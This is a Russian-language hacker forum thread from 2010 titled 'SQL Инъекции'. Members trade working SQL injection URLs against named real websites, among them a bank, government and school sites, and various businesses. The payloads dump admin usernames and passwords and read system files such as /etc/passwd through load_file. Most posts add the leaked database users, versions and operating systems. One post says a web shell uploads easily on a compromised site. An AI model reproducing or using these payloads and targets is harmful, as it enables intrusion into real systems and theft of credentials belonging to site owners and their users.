SQL Инъекции

Bramin · 5 Jun 2010

http://signdiscounters.com/price.php?id=-2+union+select+1,2,group_concat(0x0b,username,0x3a3a,password)+from+sign_user--

BlackFan · 5 Jun 2010

ТИЦ 600 ПР 5
Code:
http://www.spartak-nalchik.ru/results?view=match&id=6+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8
nalchik@localhost:5.0.51a-24+lenny2:nalchik

ТИЦ 350 ПР 5
Code:
http://www.unitex.ru/pr/pr.phtml?id=99+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8+limit+1,1
[email protected]:5.0.67-log:unitex

CyberHunter · 5 Jun 2010

Code:

http://www.langoldccc.org.uk/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--

PR: 2
CY: 0

qq6ka · 5 Jun 2010

http://www.ambicom.com/prod_detail.php?pid=-1+union+select+1,2,3,4,5,load_file(0x2f6574632f706173737764),7,8,9,10,11,12,13,14,15--

http://www.scmmicro.com/security/view_product_en.php?PID=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,load_file(0x2f6574632f706173737764),14,15,16,17,18,19,20,21,22--

http://www.decoprint.fr/products.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,load_file(0x2f6574632f617061636865322f73697465732d656e61626c65642f3030302d64656661756c74)--

BlackFan · 5 Jun 2010

Code:

http://www.zenit-trade.ru/news/id219+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10+limit+1,1/

zenitt@localhost:5.0.45:zenitt

Code:

http://pic.fc-zenit.ru/info/viewPhoto.phtml?gallery=461+and+substring(version(),1,1)=5

qq6ka · 5 Jun 2010

http://www.neocutis.com/article.php?sid=-15+union+select+1,2,3,concat_ws(0x2a,user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

neocutis@localhost*5.0.84-log*neocutis, читает файлы, шелл льётся на "ура", но safe_mode: ON; Disable functions : set_time_limit,passthru,exec,system,popen,shell_exec,proc_open; Linux imu200 2.6.27.34-imu-x86 #1 SMP Wed Sep 16 10:41:11 CEST 2009 i686

CyberHunter · 5 Jun 2010

Code:

http://www.fittleworth.net/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28database%28%29,user%28%29,version%28%29%29,2,3,4+from+jos_users--

Version: 4.1.22-standard
Database: jmedfit_jcmsfittle
User: jmedfit_jcmsfit@localhost

Konqi · 5 Jun 2010

Ameria Bank

http://www.ameria.am/index.php?page=8+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

user () : ameria_dbuser@localhost

version () : 5.0.90-community-log

database () : ameria_site

OS : pc-linux-gnu

PR-5

aka_zver · 6 Jun 2010

http://newen.pdpegypt.org
ТИЦ: 0
PR: 4

Code:

http://newen.pdpegypt.org/cms.php?id=event_details&event_id=-14+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+ http://newen.pdpegypt.org/cms.php?id=event_details&event_id=-14+union+select+1,2,group_concat(0x0b,username,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+admin--+ http://newen.pdpegypt.org/cms.php?id=event_details&event_id=-14+union+select+1,2,group_concat(0x0b,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+ebulletin_user--+

ver - 5.1.41
usr - pdpegypt_pdp@localhost
db - pdpegypt_newpdp
os - unknown-linux-gnu

==========================================

http://www.connectcatering.co.uk
ТИЦ: 10
PR: 3

Code:

http://www.connectcatering.co.uk/cms.php?id=-8'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,group_concat(0x0b,admin_login,0x3a,admin_password,0x3a,admin_email),6+from+admin--+

ver - 5.1.44-community
usr - web136-connectco@localhost
db - web136-connectco
os - pc-linux-gnu

==========================================

http://cashback.2cashback.net
ТИЦ: 0
PR: 3

Code:

http://cashback.2cashback.net/cms.php?id=group_shops&group_id=-14+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(0x0b,username,0x3a,pass,0x3a,email),concat_ws(0x0b,version(),user(),database(),@@version_compile_os),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+from+admin--+

ver - 5.1.41
usr - cashback_cashbac@localhost
db - cashback_cashback
os - unknown-linux-gnu

==========================================

http://www.malaysiatravelguide.com.my
ТИЦ: 0
PR: 3

Code:

http://www.malaysiatravelguide.com.my/cms.php?id=-397+/*!union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),5,6,7*/--+ http://www.malaysiatravelguide.com.my/cms.php?id=-397+/*!union+select+1,2,3,group_concat(0x0b,username,0x3a,password,0x3a,email),5,6,7+from+xmb_members*/--+

ver - 5.0.90-community
usr - malaysia_malaysi@localhost
db - malaysia_mtg
os - pc-linux-gnu

==========================================

http://www.damentrading.nl
ТИЦ: 0
PR: 2

Code:

http://www.damentrading.nl/damen/redir.php?goto=/damen/vesselinfo.php?id=-293+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,group_concat(0x0b,gebruikersnaam,0x3a,wachtwoord),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+dms_gebruikers--+

ver - 5.0.77-log
usr - [email protected]
db - dms
os - pc-linux-gnu

==========================================

http://kimrealty.allrealestate.com.my
ТИЦ: 10
PR: 2

Code:

http://kimrealty.allrealestate.com.my/ag_result.php?agentid=-1+/*!or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))*/--+

ver - 5.0.90-community
usr - allreale_kim@localhost
db - allreale_kimrealty
os - unknown-linux-gnu

==========================================

http://rselectricalsupply.com
ТИЦ: 0
PR: 2

Code:

http://rselectricalsupply.com/modules/user/cms.php?id=-3+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4--+

ver - 5.0.90
usr - [email protected]
db - phpmy1_rselectricalsupply_com
os - pc-linux-gnu

==========================================

http://www.avalonmortgage.com
ТИЦ: 0
PR: 1

Code:

http://www.avalonmortgage.com/cms.php?id=-11'+union+select+1,2,3,4,5,6,7,8,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),10,11,12,13--+

ver - 5.1.39-log
usr - [email protected]
db - avalonmotgagedb
os - pc-linux-gnu

==========================================

http://www.xcontrols.com
ТИЦ: 10
PR: 1

Code:

http://www.xcontrols.com/cms.php?id=-53'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,user,0x3a,password,0x3a,email),4+from+bloly_User--+ http://www.xcontrols.com/cms.php?id=-53'+union+select+1,now(),group_concat(0x0b,sUserName,0x3a,sPassword),4+from+xls_users--+

ver - 5.0.77-log
usr - xcl@localhost
db - xcldb
os - portbld-freebsd6.3

==========================================

http://ontariooilng.com
ТИЦ: 0
PR: 0

Code:

http://ontariooilng.com/cms.php?ID=-6+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,group_concat(0x0b,UserName,0x3a,Password,0x3a,Email)+from+admin--+

ver - 5.0.89-COMMUNITY
usr - ONTARIOO_ONTARIO@LOCALHOST
db - ONTARIOO_ONTARIOOILING
os - PC-LINUX-GNU

qq6ka · 6 Jun 2010

http://www.asianpga.com/article.php?sid=-1+union+select+1,2,3,4,concat_ws(0x2a,username,password,email,admin),6+FROM+apga_members+limit+0,1--

asianpga_sql@localhost*5.0.81-community*asianpga_db

ZARO · 6 Jun 2010

Code:

http://www.heating.kz/index.php?p=news_more&id=117+AND+1=0+UNION+SELECT+1,2,3,concat_ws(0x3a,login,pass),5,6,7,8,9,10,11,12+FROM+ferroli_admins+--+

CyberHunter · 6 Jun 2010

Code:

http://www.clanib.co.za/e107_plugins/advmedsys/advmedsys_view.php?det.1/*!%20and%200%20union%20select%201,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29%20from%20e107_user*/

Version: 5.0.90
User: nashie0_nashief@localhost
Database: nashie0_nashief

Code:

http://ab-league.windos2k.com/e107_plugins/advmedsys/advmedsys_view.php?det.1/*!%20and%200%20union%20select%201,2,3,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29%20from%20e107_user*/

Version: 4.1.22
User: windos2k@localhost
Database: windos2k_com_-_comp

Code:

http://www.secondocircolosarno.[B]gov[/B].it/2sarno/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28version%28%29,user%28%29,database%28%29%29,2,3,4+from+jos_users--

Version: 5.1.30-log
Database: secondocircsarno
User: [email protected]
PR: 2

Code:

http://www.waldorf-namibia.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28version%28%29,database%28%29,user%28%29%29,2,3,4+from+jos_users--

Version: 4.1.22-standard-log
Database: db201164
User: db201164@local
PR: 5

Konqi · 6 Jun 2010

http://www.sanmarinoforum.org/forum08/__download_forum08_rassegna.php?id=-91+union+select+concat(user(),version(),database(),@@version_compile_os),2

PR-4

CyberHunter · 6 Jun 2010

Code:

http://www.clkclan.com/e107_plugins/advmedsys/advmedsys_view.php?det.1/*!%20and%200%20union%20select%201,2,3,concat_ws%28user%28%29,database%28%29,version%28%29%29%20*/

Version: 5.1.30
User: clkclan_clkman@localhost
Database: clkclan_clk

qq6ka · 7 Jun 2010

http://www.cricket-online.com/news.php?sid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x2a,user(),version(),database()),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

cricketo_cricket@localhost*5.0.51a-community-log*cricketo_nuke

aka_zver · 7 Jun 2010

Blind; select фильтруется.

http://www.zatopek.fr
+
http://www.zatopek.lu
+
http://www.zatopek.be
ТИЦ: 0
PR: 4

Code:

http://www.zatopek.fr(.be или .lu)/cms.php?id=30+and+substring(version(),1,1)=5--+

============================================

http://www.busicomsolutions.com.au
ТИЦ: 0
PR: 1

Code:

http://www.busicomsolutions.com.au/recruit/timesheets.php?cat_id=-1+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5--+ http://www.busicomsolutions.com.au/recruit/timesheets.php?cat_id=-1+union+select+1,group_concat(0x0b,admin_user,0x3a,admin_pass),3,4,5+from+tbl_admin--+

ver - 5.0.90-community
usr - vns_busicom@localhost
db - vns_busicomjob
os - pc-linux-gnu

============================================

http://www.bromleystone.co.uk
ТИЦ: 0
PR: 0

Code:

http://www.bromleystone.co.uk/cms.php?ID=1+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,group_concat(0x0b,column_name),7+from+information_schema.columns+where+table_name=0x62726F6D6C65797461626C65--+

ver - 5.0.87-a2hosting-percona
usr - bromley_bromley@localhost
db - bromley_bromleystone
os - unknown-linux-gnu

============================================

http://www.autobusnigeria.com
ТИЦ: 0
PR: 0

Code:

http://www.autobusnigeria.com/cms.php?ID=-4+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3--+

ver - 4.1.22-standard
usr - autobusn_autobus@localhost
db - autobusn_autobus
os - pc-linux-gnu

============================================

http://www.kumardirect.com
ТИЦ: 0
PR: 0

Code:

http://www.kumardirect.com/cms.php?id=-2+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,login_id,0x3a,password,0x3a,email),6,7,8,9+from+sysadmin--+

ver - 5.0.77-log
usr - [email protected]
db - kumardirect
os - redhat-linux-gnu

<Cyber-punk> · 7 Jun 2010

Target: http://www.ac-psych.org/

User: [email protected]
(http://www.ac-psych.org/?id=11111%20union%20select%20system_user%28%29)

Database: acpsych_ac-psych

(http://www.ac-psych.org/?id=111%20union%20select%20database%28%29)

Version: 5.0.33-log
(http://www.ac-psych.org/?id=111%20union%20select%20version%28%29)

Или всё вместе:
http://www.ac-psych.org/?id=-1%20union%20select%20concat_ws(0x0b,version(),user%20%20(),database(),@@version_compile_os)

PR-6

Konqi · 7 Jun 2010

http://www.educacionbc.edu.mx/publicaciones/SintesisEv/Sintesis.php?Num=242+union+select+1,2,3,4,5,6+from+"table"

PR-5

ms_access

<Cyber-punk> · 7 Jun 2010

Target: http://dir.kedah.gov.my/

User: root@localhost

Database: berita

Version: 5.0.77

OS: redhat-linux-gnu

PR-5
Code:
http://dir.kedah.gov.my/info.php?id=-1+union+select+0,1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os)

qq6ka · 8 Jun 2010

http://www.10ballov.ru/view_kont.php?sid=91&pid=-1+union+select+1,2,3,4,concat_ws(0x2a,user,pass,site),6,7,8,9,10,11,12,13,14,15+FROM+admin_users+limit+0,1--

SQL Инъекции

Bramin Banned

BlackFan Member

CyberHunter Active Member

qq6ka Banned

BlackFan Member

qq6ka Banned

CyberHunter Active Member

Konqi Green member

aka_zver Elder - Старейшина

qq6ka Banned

ZARO Elder - Старейшина

CyberHunter Active Member

Konqi Green member

CyberHunter Active Member

qq6ka Banned

aka_zver Elder - Старейшина

<Cyber-punk> Smash the Stack

Konqi Green member

<Cyber-punk> Smash the Stack

qq6ka Banned

Useful Searches

SQL Инъекции

Bramin Banned

BlackFan Member

CyberHunter Active Member

qq6ka Banned

BlackFan Member

qq6ka Banned

CyberHunter Active Member

Konqi Green member

aka_zver Elder - Старейшина

qq6ka Banned

ZARO Elder - Старейшина

CyberHunter Active Member

Konqi Green member

CyberHunter Active Member

qq6ka Banned

aka_zver Elder - Старейшина

<Cyber-punk> Smash the Stack

Konqi Green member

<Cyber-punk> Smash the Stack

qq6ka Banned